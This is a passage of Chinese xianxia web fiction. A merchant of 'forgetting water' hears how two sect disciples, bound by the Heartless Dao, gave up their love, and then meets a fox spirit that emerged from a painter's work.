两人这才惊觉,他们十年未见,并不是相隔万里,只是有太多错过。
十年的分别并不能将他们的感情削弱,那时的别云尘没去想,如果又一个十年,再一个十年呢?
37. 师兄与师妹(2)
这次的见面很快结束,以一个狼狈的方式。
林惊羽的突然消失还是被那群古板长老发现,他们神态恭敬,将她“请”了回去,并道:
“云别尘修炼《无情剑诀》,需斩断七情六欲,不能与他人产生羁绊,还请少宗主,日后不要再与他见面,恐误了他修行。”
林惊羽想反驳,却发现自己压根就没有反驳的理由,云别尘修炼《无情剑诀》,寄托了整个宗门的希望,日后是要飞升上界的。
大好前程,怎能被她耽误?
她平日最喜欢与这些长老对着干,但这次,她仿佛被抽走了浑身力气,乖巧地离开了。
看着对方远去的背影,云别尘下意识抬脚想追上去,一只手拦在身前。
他看向长老,眼中闪过一抹寒光,正要聚力于掌心,听对方道:
“修炼之事需沉心静气,不可有过多杂念。”
云别尘满脸困惑,实在不知对方口中的杂念是什么,但当他看见林惊羽的背影彻底消失在视野中,正快速向掌心输送的灵力骤然回旋,胸口陡然一紧,一口鲜血吐出。
“所以,这个时候你就……嗯……”孟梨食斟酌着词语,“因为对她的情,影响了你的无情道?”
“是。”云别尘坦然道,“那段期间我的修为停滞不前,几乎过了一年才慢慢有进展。”
“那时候你知道是因为她吗?”孟梨食觉得自己像个大夫,一点点询问病人的病因。
云别尘:“不知道,那时我还不清楚对她的情意,只当是不能相见的儿时玩伴。”
“哦哦。”孟梨食点头,又问:“那你什么时候意识到的?”
“……又一个十年后。”
那日分开后,云别尘一直记挂着对方,想尽一切办法打听对方消息,知道她修为突破了,他比谁都高兴,知道对方申请独自前往险境,他又比谁都担心。
林惊羽一身伤从险境回来,众长老大骇,旋即将消息封锁,他们不允许外界有任何质疑他们下任宗主实力的声音。
但云别尘还是打听到消息,他急的连修炼都顾不上,恨不得飞到对方身边,但,他不被允许靠近对方,即使他寻来灵药,只希望有个人能将灵药带给对方,也不被允许。
再后来,他连对方的消息都打听不到。
他曾假装随意地路过寒泉,按捺希望地投去视线,但没有……
那里没有人。
有时候他也会自我怀疑,他修炼无情道是对的吗?所有人都告诉他是对的,好像他在意的那个人也在沉默地说这是对的。
那便……如所有人所愿吧。
再次见面,是十年后,宗门大比上。
云别尘站在高台上,立于最高处,将底下乌泱泱的人群尽收眼底。
他像古往今来无数个无情道修者那样,清冷如冰,孤直如松。
下面几层看台挤满了人,三三两两一团,兴奋讨论着近年来的新秀。
云别尘毫不意外听到自己的名字,当然,他的名字旁边总会有另一个名字相伴,好像他们熟得天天待在一起似的。
他装作不在意,或许是真的不在意,目光始终落在比试台上,神态也未有一丝变化。
一阵浪潮陡然形成,在环形高楼似的看台上传递,一浪高过一浪。
云别尘不是很能理解他们的情绪,什么事能让他们如此激动?就算让他现在飞升,他也不会激动成这样。
但当他视线一挪,落在一个抬脚踏上青石圆台上的人时,双目咻的睁大。
他左手猛的抓住围栏,狠狠握紧,才没有让自己激动得跳起来——他不确定自己会不会这么夸张,但早点控制住总归是好的。
台上的女生穿着一身青色劲装,左手握着一把剑,神情严肃又带着些倦怠。
云别尘眼也不眨地看着对方,上场的是林惊羽,是与他记忆中的相比,长大十年的林惊羽。
十年过去,对方的样貌并未有太大变化,但周身气质却天翻地覆,像太阳被冻住了般,投下来的光线都是冷的。
云别尘轻皱着眉头,猜测那群老头不会也让对方炼无情道了吧。
台上比试正式开始。
林惊羽对着面前的人微微颔首,并未有动作。
直到下一秒对方持剑冲来,她才略有动作地躲避,拔剑格挡。
她的招式干脆甚至是狠厉,动作起伏不大,却效果显著,让所有观看者不敢大喘气,仿佛有一道无形的威压笼罩。
林惊羽胜得毫无悬念,冲天的欢呼也在意料之中。
云别尘的目光随着对方挪出比试台,难得有些高兴,他知道对方会很厉害。
他面上无甚表情,心底却如吃了糖般。
“林师姐最厉害了!”
“舞剑的样子好飒爽啊!”
下一层看台传来几个女生的谈话声,从这语气语意中,云别尘能想出她们一脸娇羞的模样。
“林师姐是我要永远追随的人。”
“我也钦慕林师姐啊,我还想追求林师姐呢!”这明显是个男声。
“你不是追求好几年了吗?林师姐才不会搭理你。”
云别尘心里一咯噔,他好像听到什么古怪东西。
“嘘,小声点,台上还站着云师兄呢,云师兄是林师姐竹马,他们才是天生一对好吧。”
“云师兄是注定要飞升的人,更何况他修炼《无情剑诀》,不可能与林师姐有结果的,与其相信林师兄会和林师姐修成正果还不如信我。”
男生刚说完,猛的浑身一抖,好像身后有条巨蟒在看着自己。
其他人并未在意他这细微的不对劲,谈话内容完全转移到林惊羽与云别尘身上来,也从两人的关系转移到两人的实力上。
身为新一代的两位天骄,他们两人总是会被拿来比较。
“肯定是云师兄厉害啊,他可是被宗主称为千年难得一遇的天才!”
“林师姐也很厉害,天资也很卓越……”
“但不如云师兄。”有人打断道。
“怎么不如了?林师姐修炼比谁都刻苦!”
“对,肯定是林师姐厉害。”
下面的人叽叽喳喳讨论个不停,声音不知不觉拔高,不需云别尘凝神便能将他们的话收入耳中。
“别吵了,反正今日林师姐和云师兄有一场别试,结果很快就会出来。”有人打断这场仿佛没有休止的争论。
“是哦,能看见他们同台真是幸运至极,我十多年没看见他们同时出现了。”
“师兄师姐各有责任啦,哪能像你一样整天到处晃悠。”
云别尘这才恍然,这场比试的压轴,是他和林惊羽。
他是否期待这场比试,竟连他自己都不明白。
但之后
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几场比试他都看不下去,视线虽一直落在台上,思绪却早已飘远。
直到一道声音在背后响起:“云师兄,下场就该你上场了。”
“……知道了。”
云别尘走下看台时,那个人已经站在圆台上,他感受到对方落在自己身上的视线,轻触即离。
他最终站在了台上,佩剑被他握紧手中。
两人无声对峙,视线触在一起,像两颗一起在荷叶上滚动却无法相融的水珠。
林惊羽持剑拱手,平淡道:“大师兄。”
心脏猛的一跳,云别尘看着对方,真觉得对方才是修炼无情道的。
他印象中的人,会在拱手时悄悄朝他眨眼睛,露出古灵精怪的笑意。
心脏再次狠狠一跳,带着一丝酸一丝涩。
林惊羽见对方迟迟不动,率先拔出剑,冲了过去。
对方携带的杀气太强烈,下意识想展开手臂的云别尘猛地反应过来,抬剑格挡。
“等等!”孟梨食忽地抬手止住对方,不解道:“你展开手臂干嘛?”
云别尘面无表情道:“我下意识想抱她。”
小魂:“……”
孟梨食忍住捂脸的冲动,“你继续。”
台上两人打得热火朝天,一招一式间都带着将一座灵山夷为平地的威力。
对方从身旁闪过,剑刃险些刺进云别尘身体,对方发间的香味……
“打住!”孟梨食再次抬起手,“这个你没必要说,还有她的英姿什么的,我也不是很想知道,你就直说谁赢谁输。”
小魂严肃点头。
“……”云别尘嘴巴微张,泄了气,“我输了。”
“哦,咋输的?”孟梨食终于有了些兴趣。
林惊羽投来的视线太过寒冷,仿佛在看着一个陌生人,使出的招招式式逐渐将云别尘逼上绝路。
云别尘也在反击,但不知为何,体内灵气开始紊乱,心脏更是痛得无法呼吸。
他猛地吐出血,跪在地上,同时,一把剑横在他脖颈处。
他愕然抬头,对上林惊羽陌生的视线。
说到这,他歇了歇,见面前一人一魂凑到一起,嘀嘀咕咕。
“这欲天宗咋想的,让一个恋爱脑修无情道。”这是孟梨食的声音。
“就是就是!”小魂疯狂点头,“二十年就见了一面,再次见面就能直接干到灵气紊乱,啧啧啧!”
云别尘:“……”
孟梨食注意到对方视线,一把将小魂推开,咳嗽两声,道:“很明显,这时候你已经完全动情了,知道吧?”
“知道。”云别尘闭了闭眼,脑海中回忆起那日的情景——
“说,你到底对谁动了情?”长老猛地挥袖,目光咄咄。
云别尘抿着唇,没回答。
让无情道动情可是天大的事,反噬效果轻些就是修为停滞不前,严重些便是灵力紊乱,爆体而亡。
更别说,遇见这种情况的还是云别尘,一个注定在无情道上飞升的人。
众长老绞尽脑汁也猜不出让云别尘动情的人是谁,也有怀疑到林惊羽头上的,但他们无法相信他会喜欢上一个二十年只见过一面的人。
他们连云别尘手里的剑都怀疑了,但依旧无果。
最终,他们只能煞费苦心地劝诫别云尘要平心静气,断情绝爱,勿误大道。
38. 师兄与师妹(3)
云别尘在静室坐了七日,这七日,他彻底明白了自己对林惊羽的心意。
他猛地推开静室门,他要去找她。
找她做什么呢?找她说明自己的心意,问清对方的想法,如果……如果她也……那他可以舍掉这二十多年的修为……
光这样一想,心脏又是激动跳跃,又忽的抽痛。
但找到林惊羽不是件容易的事,尤其是对于他。
他寻了三日未寻到对方消息,灵光一闪,去查了出宗记录,获知对方去了暗林消除魔孽。
他寻了个理由出宗,直奔暗林。
暗林常年被红雾覆盖,林中魔孽猖獗,性情暴虐,常常出来祸害生灵,欲天宗每隔段时间便会派弟子来清理,没想到,这次会是林惊羽独自前去。
她是喜欢找死吗?
以前云别尘也能打听到对方独自前往险境,不止一两次了。
心口越发疼痛,云别尘在空中御剑,朝着目的地疾行。
林子在他脚下飞快后退,不多时,一片诡异的红色出现在视野中。
他御剑徐徐降落,张开一张护体结界便冲进林中。
林子外围红雾稀薄,往里逐渐浓郁,同时,一阵打斗声也从隐隐若现变得响彻耳边。
朦胧红色中,一道青色身影浮现。
扑通——
心跳的更加猛烈,心跳声隐隐将那打斗声覆盖,响在耳边。
云别尘迅速稳住神,拔剑混入打斗中。
林惊羽对他的突然出现有些讶异,但情况紧急,她没时间多想。
两人配合意外的默契,很快将这一圈魔物清除。
“你受伤了。”云别尘看着对方,“我帮你疗伤吧。”
“你找我有事吗?”林惊羽无视对方的话,也无视左臂伤口处的痛楚。
“我……”
云别尘满脑子想见到对方,有满脑子的话想对对方说,但真等见到了,真要开口了,却什么都说不出来。
“别尘,那次比试,你不该输给我。”林惊羽说,“听说你动情了,你修的是无情道,你不该如此。”
云别尘怔在原地,“这是你希望的?”
林惊羽别过头,见红雾再次翻涌而来,逐渐填充这块他们刚清理出的区域。
“当然。”在呼出一口气后,林惊羽道,“我们都希望你大道有成。”
良久,云别尘应道:“好。”
“故事结束了?”孟梨食坐直身,看着面前蔫头巴脑的人,问:“你觉得她对你有情吗?”
“……不知道。”
孟梨食眉毛一拧,“你知道,你觉得对方对你有一丝情意,只是你不敢承认。”
云别尘无法反驳,对方说得很对。
孟梨食又问:“你真能为了她舍弃多年修为,放弃飞升的机会?”
云别尘点头,倒是没有什么犹豫。
孟梨食耸耸肩,不再多问,抬手变出一碗忘情水,“将你身上钱财的一半交给我。”
云别尘从空间袋中取出两只刺绣精致的袋子,每只都有灵气覆盖。
“灵石吗?也行,能换不少银子。”孟梨食将袋子捞过来,又将瓷碗推过去。
她颠了颠一袋灵石的重量,余光见桌对面的人盯着碗迟迟未动,奇怪道:“怎么不喝?”
云别尘缓缓摇头,端起碗,慢慢将水饮尽。
一颗泪滑落脸颊。
江余客正推开门,一个人猛地出现在眼前,差点撞上去。
对方一身寒气,将他吓了一跳,下意识往旁边挪了挪,让对方先过去。
他走进殿中,对里面的人道:“那不是欲天宗的大弟子吗,怎么一脸寒气?”
“嗯哼!”孟梨食心情颇好,“刚饮就突破,不愧是千年难得一遇的天骄。”
江余客一脸茫然,“我错过了什么吗?”
这时,殿门被敲响,孟梨食早有预料般,喊道:“请进。”
门被推开,进来一位女子。
林惊羽进来,朝两人一魂微微颔首,问:“他饮了吗?”
“饮了。”孟梨食答道。
“那就好。”林惊羽道,不知是低落还是松了口气。
“来,坐。”孟梨食抬手笑道,“我看你也需要饮一碗水,说说你的故事吧。”
“他不是说了吗?”林惊羽坐在云别尘曾坐过的位置上。
孟梨食撑着脸颊,笑笑,“一个人的视角总是局限的,就比如,他认为你对他只有一丝情意,殊不知……”
林惊羽:“他对我什么感情我对他亦是如此,我对他的爱不比他的少。”
“故事都是一样,有一点倒是可以和你说。”林惊羽淡淡道,“我天资并不好,修炼很费劲,只能付出旁人百倍努力来弥补,但效果依旧不好。
“我从小就知道,也从小知道他是天才,所以趁着小,我老是揍他。
“我没办法与他同去上界,也没法陪他永远走下去,甚至,我没法活的像他那么久……”
“爱他是希望他过得好吗?”孟梨食总结问,“可你认为的好于他而言也许并不是呢?
“他可说了,为了你他可以放弃这些哦。”
“我不想他将来后悔……”
“行吧。”孟梨食撑着桌子后仰,变出一碗忘情水,“喝不?既然要断何不断干净,不然,日后的你可是会很痛苦的,也许后悔也说不定。”
林惊羽眼眶湿润,最终,她拿出几袋灵石,将水饮尽,转身离开。
以前,他只是师兄,她只是师妹,后来,他只是要飞升的天才,她只是未来宗主,仅此而已。
看着殿门被关上,江余客缓缓收回视线。他不了解具体发生了什么,但他陪孟梨食经历这么多,不用想也知道这是个悲伤故事。
他收回思绪,展开一直虚握的手,对孟梨食和小魂道:“我比试赢了三颗仙果,你们来尝尝。”
他手中,卧着三颗红润饱满的果子,
小魂咻地闪现在他身前,捞过果子便抛进嘴里,美滋滋地品尝,双手托着脸颊。
“谢谢你啊!”它含糊不清地道谢。
“让我尝尝。”孟梨食走了过来,将拦路的小魂推开,拿起果子放进嘴里,动作间不见丝毫见外。
仙果口感清脆多汁,清甜异常,灵气蕴含其中。
江余客也将自己那颗吃掉,顿觉浑身一暖,力气灌满全身,头脑清醒异常。
孟梨食伸了个懒腰,看起来精神气十足。
“走吧。”她说。
“去哪?”另外两人问。
“离开欲天宗,”孟梨食乐滋滋道,“我已经在这里卖出两碗水,该换个地方了。”
她猛地推开殿门,外面阳光暖洋洋照在脸上,“天下伤心人太多,急需我去拯救。”
望着对方逆光的背影,江余客心脏砰砰跳动,他想起了那些执剑天涯,除恶为民的大侠,不由得激动起来。
“还拯救呢,”小魂撇嘴,从江余客身前飘过,“你就是个为卖忘情水无所不用其极的奸商。”
来时的路他们都还记得,因此离开时未惊动任何人。
结果刚踏上虹桥,一道声音在身后乍响——“且留步啊!”
两道青影御剑而来,降落在身前,一看,便知是欲天宗长老那类人物。
两位老者拱手行了一礼,看向江余客,语气诚恳,“少侠实在天赋异禀,只要你留在我
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欲天宗,届时必举全宗培养,令其成为天下强者。”
孟梨食暗暗呼了口气,还以为是知道自己将忘情水卖给他们宝贝的两个弟子,来找茬的,原来不是啊,既然和自己没关系,那还是赶紧走吧。
孟梨食看看三人,顺口道:“轩辕剑已经认主,即使主人已故,也不会这么快寻找新主人。”
一位老者连忙道:“姑娘误会了,我们看中的是少侠的天赋。”
孟梨食瞥了江余客一眼,平时看起来傻乎乎但运气又格外好的一个人,原来也有天赋吗。
她耸耸肩,管他的,“你自己决定吧。”她对江余客道,言罢径直掠过对方,走进虹桥上的一片薄雾中,很快没了身影。
小魂还蛮想看看江余客会有何种回答,但它怕了孟梨食丢下它,只得跟过去。
“他会追来吗?”它忍不住问。
“管他的。”孟梨食才不会在意,本就是萍水相逢,每人都有自己要做的事,有自己的决定,她不会干涉,也无权干涉,当然,也不愿意去干涉。
当孟梨食踏下虹桥,身后响起“哒哒”脚步声。
小魂连忙回头,“哦,他来了。”
孟梨食这才悠悠转过身,果然看见江余客一脸着急地跑来,喊道:“等等我!”
“你不留下来?”孟梨食诧异,显然对大多数人而言,留下来享受一整个宗门的托举,成为天下强者是无法想象的美梦,没有人会去思考拒绝。
“不留。”江余客笑道,“我只想当个行侠仗义的大侠,修仙我做不来。我一心爱自由,不愿困在一处。”
“而且……”他看向孟梨食,“我觉得跟着你们走很有意思,有种看尽人间百态的感觉。”
孟梨食冷笑,“我要是看尽了人间百态,应该就能回地府了。”
两人一魂下了山,将那片如仙境般的地方扔在身后,头也不回。
他们按着记忆中的路线左拐右拐,不知过去多久,四周忽然涌起了雾。
这雾来的诡异,三人都发现了不对劲,警惕地站住脚。
“何等小妖小魔敢对我们放肆!”小魂提着一口气,气势汹汹喊。
孟梨食赞赏地看了它一眼,“如果你不发抖就更有威慑力了。”
“我来。”江余客拦在孟梨食前面,正要拔出轩辕剑,面前的浓雾忽然涌动起来,渐渐的,十条道路出现在他们眼前。
孟梨食一把将前面的人推开,恍然道:“哦,原来是‘九死一生’。”
“什么是‘九死一生’?”
“就是十条路,选一条,有九条是死路,只有一条是生路,很干脆。”孟梨食摊摊手,显得很无奈又有些兴奋,“全靠运气,毫无技巧。”
她说着,看向江余客,同时,小魂也挪来视线。
江余客被盯得心里发毛,“看、看我干嘛?”
“这不,你的作用来了。”孟梨食道,“选一条。”
“这么危险的事你们真的交给我了?”江余客大惊,稍不注意就会死的,他何德何能能被如此信任……
哦,因为他运气好。
可他从不觉得自己运气好啊!
“反正要蒙一个,你来蒙正确率高些。”孟梨食显得很无所谓。
江余客怀疑地看向对方,怀疑对方巴不得出事直达地府。
周围雾气再次翻涌变浓,那十条路有被填充的趋势。
“赶紧的,”孟梨食催促,“再不选就直接死了。”
小魂鼓舞道:“我们相信你,你尽管选。”
“行吧。”江余客硬着头皮,抬手在十个路口上晃悠,最后指定一个,“它!”
“走咯!”孟梨食愉悦地快步走进这条路。
39. 画中狐与画师(1)
几人行走在浓雾凝成的通道里,视野内只有朦胧的白色,翻涌的白色。
道路直通前方,一眼能望见尽头,那是一点光亮。
走出通道,一片盎然绿色出现眼前,清脆草地铺展出去,与碧绿湖水相接。
而在湖边,一个书生模样的人立于一块较平整的岩石前,石上铺展着一幅画卷,隐隐颜色浮现表面。
他左手撩起右袖,右手握着一根毛笔,在面前的画卷上轻轻落笔。
孟梨食看了看四周,草坪被湖与密林围绕,好似这是另外一处天地,与外世隔绝。
她走到湖边,凑到石前探头一瞧,见画上是一人一狐,人正在对着狐狸作画。
目光落在画中人上,这人只有寥寥几笔,却极其传神——发巾随意束着,墨发飘散,一件半旧的青灰直裰,布带也是松垮系着。
看起来飘逸自在,可以想象对方放肆的笑声,挥毫着笔墨。
孟梨食抬头看了看,又低下头,又抬头,视线落在面前人脸上,眯了眯眼睛。
虽然面前作画者紧抿着唇,眉头微锁,但从样貌上来看,画里的人确实是对方,只是……
哪里不太对……
对方并不在意孟梨食无礼的打量,完全沉浸在自己的世界里。
他神情严肃,好像在做的是什么艰难且让人痛苦的事,但他的动作却极其轻缓,带着一种刻意的飘逸和潇洒。
他轻轻落下一笔后顿了顿,别过头,看了眼湖面倒影,接着落笔。
江余客也走了过来,却是一眼看见画上的狐狸。
这是只极其逼真的狐狸,与画中人的寥寥几笔不同,这只小狐狸占尽了颜色,一眼看去的棕红色细看下是丰富多彩的,更会随着阳光变化,毛发逼真的好像会随着拂过湖面的风而轻轻晃动。
江余客连连惊叹,旋即觉得疑惑,下意识往四周看了看,问:“周围没狐,怎么画得这么像?”
孟梨食的目光依旧落在面前人脸上,沉声道:“因为它就是画里的狐。”
沉浸在自己世界里作画的人闻声一顿,手中的毛笔停在空中,笔尖滴落一点棕色,融进画中狐的毛发里。
孟梨食继续道:“而且你马上就会消散,否则那‘九死一生’也不会这么弱。”
“啊?”江余客睁大眼睛,“那不是靠我运气吗?”
孟梨食耸耸肩,不置可否。
其实那“九死一生”是虚把式,无论走哪条路,最终都会走入这里。
“画师”轻轻放下笔,视线落在平静无波的湖面,出神地望着倒映的人影。
它缓缓摸上自己的脸,勾起嘴角一笑,笑得极其悲凉:“你说的对,我是画里的狐。”
“哦,画中狐,那画师呢?”孟梨食问,虽然她已经猜到答案。
“死了。”他叹息着。
孟梨食煞有介事地叹了口气,道:“我知你心中堵塞,不妨在我这买一碗,忘掉愁苦。”
“画师”挪回视线,看着面前的人,“如你所说,我马上就会消散,死了心就不会痛了,何必喝什么忘情水,到了地府自有孟婆汤喝。”
孟梨食觉得对方说得很有道理,但要死了并不与喝忘情水冲突,便争取道:
“别啊,早喝早忘早点摆脱痛苦,而且,顺口的事,你要是没钱也好商量嘛。”
她的商人属性暴露无遗。
对方嘴角勾起一抹笑,看样子是要拒绝。
孟梨食看着对方,瞳孔中闪过一抹橙光,几秒后,她真情实意地叹了口气,道:
“要不你把你的故事告诉我们,看看有什么要交代的,说完你也可以放心地去地府报道。”
她刚才看了对方的寿命,不过一刻钟的时间,确实没必要喝什么忘情水。
痛苦许久的人自是不在乎这点时间。
小魂满脸惊愕,“你什么时候这么好心了?”
孟梨食视线往一旁瞟了瞟,她可不能说是看上了对方手中的笔。
那笔一看就不是非凡之物,许是某个神器,反正是个好东西,她孟梨食看上了。
对方对于她的话没有丝毫意外,它低下头,看向石台旁的画卷,确实,它有要交代的事。
罢了,说吧。
它重新看向画中的男人,道:“我是由他创造的,我不知道他的名字,就叫他画师吧……”
林中发出窸窸窣窣的声响,下一刻,一个男人顶着满脑袋的树叶钻了出来。
他艰难挣脱缠人的枝叶,用力过度差点扑飞出去,幸好及时稳住身形。
他微微喘了口气,一颠肩上的布袋,继续往前走。
听说某处湖边生活有许多狐狸,各个姿态娇人,在草丛间灵巧隐现,露出毛茸茸的身影,灵动又温顺。
光是想想他便激动不已,等他找到了非得给每只小狐狸来个大大的拥抱,然后将带来的瓜果尽情投喂。
再然后,他要画狐狸,画好多好多狐狸,成为历史上最擅长画狐狸的人!
别人胸有成竹,他心有狐狸。
愉快地想着,画师钻出一片草丛,一抬眼,一阵清风先拂了上来,接着,便被眼前景色镇在原地。
狐狸,好多狐狸,好多好多狐狸!
他兴奋地张扬着双臂跳了出来,一个踉跄往前冲出,不料脚下一滑,整个人滑跪到湖边。
此时的阳光正是最灿烂的时候,光辉撒在湖面上,波光粼粼的漂亮。
他惊魂未定地抬起头,看着近在咫尺,好像目露嫌弃的小狐狸,登时高兴得连自己叫啥都忘了。
看着他痴笑的模样,小狐狸抬起前爪捂了捂嘴,骄傲地转过身,甩着尾巴离开。
这里的狐狸吸收着这处灵山的灵气,极有灵性,都不怕人的。
画师连忙爬起身,望了望四周,近处有三只狐狸在湖边梳理着毛发,远处两只狐狸一前一后地跑,前面的忽然回头,等后面的跟上来,互相碰碰鼻子,又并肩消失在草丛深处。
树下有狐狸在酣睡,草丛间有狐狸在打闹,远处有狐狸追着蒲公英的飞絮打转……
好可爱,好可爱!
啊!我晕了!
画师倒在草地上,安详地闭上双眼。
阳光温润,山风柔和,狐狸们低低的吵闹声胜过世间一切动人乐曲。
直到脸庞被一毛茸茸的东西抚摸着,画师才慢慢睁开眼,看见一双灵动的水汪汪眼睛。
他扬手一伸,一把将对方抱起,直接跳了起来,颤着声音道:“小狐狸小狐狸,我要把你画下来!”
他将狐狸放下,狐狸眨巴着眼睛,见对方忙碌便在一旁看着,倒也没跑开。
画师翻开带来的布袋,从里面拿出一颗果子喂给对方,转身继续在布袋里翻东西,将里面的笔墨纸砚等作画物拿出。
恰好不远处的湖边有一块岩石,表面还算平整,画师便将其当作案牍,将画纸铺了上去。
“来来来,不要动!”
画师拿起画笔,刚走到
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石台边,见小狐狸也凑了上来,忙做手势道。
狐狸闻言果然顿住脚,甩了甩尾巴,没动了。
“就是这样,就是这样!”画师激动得脸颊通红,抓起画笔便是开画。
狐狸打了个哈欠,见画师沉浸在画中,看都不看自己一眼,撇了撇嘴,它倒要看看对方在捣鼓什么。
不知过去多久,画师终于停下动作,伸了个懒腰,打起哈欠。
他欣赏地看了看自己的画作,满意地直点头,忽然,数十只狐狸围了上来,凑在画上看,将他挤得连连后退。
小狐狸们点着脑袋,拍拍画作,轻轻叫着评价,看起来还算满意。
画师看着在眼前晃悠的数十条毛茸茸尾巴,眼睛瞬间亮了,正要伸出邪恶之手,一只幼狐在他脚边蹭了蹭,嘴里叼着根什么东西。
画师诧异地弯下腰,“给我的?”
他将小狐狸嘴里的东西取下,竟是一根画笔,紫竹笔杆,温润似玉,笔头不知扎的是狼毫还是什么,根根分明,无一杂色。
紧紧握在手中,还未蘸墨,便觉气韵内敛,脑海中顿时浮现狐狸的各种姿态,好像只要他握着画笔抬手,便能将其的每个姿态落在画卷上。
“哇哦!”画师抬手一挥,这不得大画特画!
“来来,让让啊!”他将石台上的狐狸们一把一把抱下来,又将布袋里的果子尽数分出去,趁狐狸们安静吃果的时候,连忙作画。
越画他越觉得精神清明,长久抬笔也不觉得手臂酸痛,好似湖边的风运着他的手作画。
他目光灼灼,时而停笔后退半步,歪头端详,又猛地扑上前去,在留白处补上数点。
要是让欲天宗的弟子看见,必会将他判为走火入魔。
太阳缓缓西沉,撒在湖面的金光带着一抹深色,已不再透亮。
画师猛地掷笔长吁,指节因用力而微微发白,眼底却亮得惊人。
画好了!
他一口气画了五幅画!
他大口喘着气,胸脯剧烈起伏,望着石台上的画,自己都惊住了。
果然,他是画狐的天才!
等他平缓下激动的心情,这才发现天色已经暗下,一点月色漫上天边。
低头一看,除了两只狐狸趴在石边打着哈欠,其他的狐狸已经没了影。
他翻了半座山才找到此地,要是原路返回等回到那临时住所肯定已是深夜,夜间行路实在危险,他想了想,对小狐狸道:
“劳问,这附近可有让我暂时休息一晚的山洞?”
趴着打哈欠的小狐狸动了动耳朵,站起身,朝他晃了晃尾巴,转身朝一个方向走去。
画师忙将画具简单一收,跟了上去。
这里的狐狸果然通人性,真带他去到一处山洞。
竟然是小狐狸带他去的,那他也就不担心危险什么的,将东西放下,拣了个合适位置,外衣一脱搭在平坦石面上,直接躺了上去。
等他全身心放松下来,才察觉身体的疲倦,顿时昏昏欲睡马上入眠。
月光斜斜地照进洞内,洁白地平铺在地,泛着荧光。
被画师靠着石头放置的画卷被风吹得缓缓展开,任月光流淌在上面。
画上数只狐狸在月光下显得虚幻又朦胧,透出一点点光亮,如星辰,如萤火虫,缓缓飘至空中。
慢慢的,这五幅画都飘出亮光,星星点点,汇聚在一起。
在这团光亮中,一只有着棕红色毛发的狐狸浮现身影。
40. 画中狐与画师(2)
毛茸茸的东西在脸上扫了扫,一下在他脸颊上戳戳,一下又将他脑门盖住,最后直接将他鼻子堵住。
“唔……哈哈——哈啾!”画师弹坐而起,狠狠打了个喷嚏。
泪眼朦胧睁开眼,一只棕红色小狐狸站在身前,眨巴着眼睛,尾巴轻甩。
“小狐狸?”画师茫然。
“小狐狸!”他昨日的记忆瞬间涌进脑海,他颤着手将对方抱起,满脸陶醉,魂飞在天。
直到狐狸轻轻踩了踩他的胸,从他怀里跃下,走到散乱一地的画卷旁,又冲着他叫了一声,他才回过神。
“想让我给你画像吗?”他露出迷之微笑,“没问题!”
他跨步过去,三两下将一地东西整理好,走出洞外,在清日淡阳下回到昨日作画的地方。
他将工具摆好,微侧头,见湖光怡人,风景如画。
嗐,可惜他不擅风景画,毕生精力都献给了画狐。
从无限风景中收回视线,正欲低头叫小狐狸拣个好位置不要再动,却见一团团毛茸茸朝他靠近。
他眼睛亮了又亮,捂着心脏痛苦又甜蜜地“啊”了一声,余光却见一道红色急速奔来,身姿并不灵敏,也许是故意,左冲右撞的,更是将一只粉色小狐狸撞飞。
它在画师脚前急急刹住车,叼着的果子滚落在地。
它轻轻唤了一声,像是撒娇般,尾巴缠住画师小腿,仰头看他。
画师惊喜交加,“给我的吗?”他蹲下身,将果子握在手中,感动得稀里糊涂。
狐狸眼睛明亮,视线落在他另只手握着的画笔上,无声地催促。
画师当即明了,一口咬掉果子,大笔一挥开始作画。
狐狸舔了舔毛发,定好动作便不再动,日头升高,哪怕时间过去许久,它也没有丝毫倦怠和不耐烦。
周围狐狸见没有什么意思,三三两两地散开,四周一下子空了下来。
画师画完一幅,便将画卷铺在草地上,拿石头压住一角。
“呸!”他吐掉一直含在嘴里没来得及吐掉的果核,叉腰欣赏。
狐狸凑了上来,睁大眼睛看画上的自己,高兴地绕着画卷转圈,尾巴甩得更有劲了。
画师收回视线,左右一瞧,打算再邀请一只狐狸作画,还没定下选哪只,脚边忽然有了动作。
小狐狸围着对方转悠,吸引对方视线后跳上石台,姿态千娇百媚却又有着灵动感。
画师捂着倍受打击的心脏,连忙握笔再挥,一口气又画了许多幅,再没精力去注意其他狐狸。
上午的时间在不知觉间过去,画师忘了时间,也忘了饥饿,等他回过神来,日头正烈,世间一片白金色。
他身子一疲,直接躺在地上,疲惫又满足地笑了起来。
摊开的手掌被放进一个冰凉的硬物,侧头一看,小狐狸又不知从何处为他寻来一颗果子。
这只狐狸不但不怕他,还对他莫名的亲近。
他在对方毛茸茸的脑袋上摸了摸,“咔嚓”几声将果子吃了。
日光暖和,照得他舒服地直眯眼。
狐狸跳上他的肚子,打了个哈欠,蜷成一团。
一人一狐睡在这湖边风光中,周围的狐狸也倦倦地搭上眼帘,不去在意时间流逝。
画师醒来时身旁多了一堆果子,视线一扫,见小狐狸顾自在湖边玩水。
他走上前蹲在狐狸身旁,捧水洗了把脸,又灌了口水,余光见草地上长有几簇蒲公英,有着如狐狸毛发般的毛绒质感。
又看了眼学自己沾水拍脸的小狐狸,他笑着伸手抓了把蒲公英,对着狐狸猛地一吹。
绒毛顿时四散开去,飘扬在狐狸周围。
小狐狸登时被吸引住视线,欢快起来,跑跑跳跳的举着爪子去拍。
一人一狐在草地上嬉笑追逐,又跑到湖边扬水玩,乐得自在。
玩了好一会,日头开始往下落,视野内还是一片明亮。
画师已经在这里待了一天一夜,若是不想在此过夜,可得趁天亮早点离开。
他蹲下身抚摸狐狸毛发,说道:“我得回去了,过几日再来看你。”
他来此处寻狐作画,不知觉间已经画了十多幅,早就超了预期。
哪知他刚说,小狐狸便发出嘤嘤的委屈声,眼巴巴地看着他。
画师的心很不坚定的动摇了。
可恶,没有谁能拒绝毛茸茸的小狐狸!
反正这里有湖水解渴,有果子解饿,有山洞睡觉,干脆再多待几日算了。
这么想完,画师拍了拍狐狸脑袋,“那我再陪你几日吧,你可得乖巧地让我作画哦。”
狐狸笑了起来,身后的尾巴一摇一摆。
夜晚,画师将白日完工的画卷卷起扎好,抬头见狐狸咬着他布袋将其拖了过来。
他笑了笑,将作画工具放进布袋里,带着狐狸去到过夜的山洞内。
画卷被靠着石壁放在洞口处,画师依旧脱了外套睡在一块较平整的石床上,好在这个节气炎热,夜晚睡在石头上最是凉爽宜安眠。
狐狸蜷在他腰边,看起来睡得正香。
到了深夜,月挂在了树顶,皎洁光辉最大限度地撒下,将世界装饰成了朦胧银色。
看起来睡得正沉的狐狸忽然睁开眼睛,极轻盈地跳下石床,来到洞边。
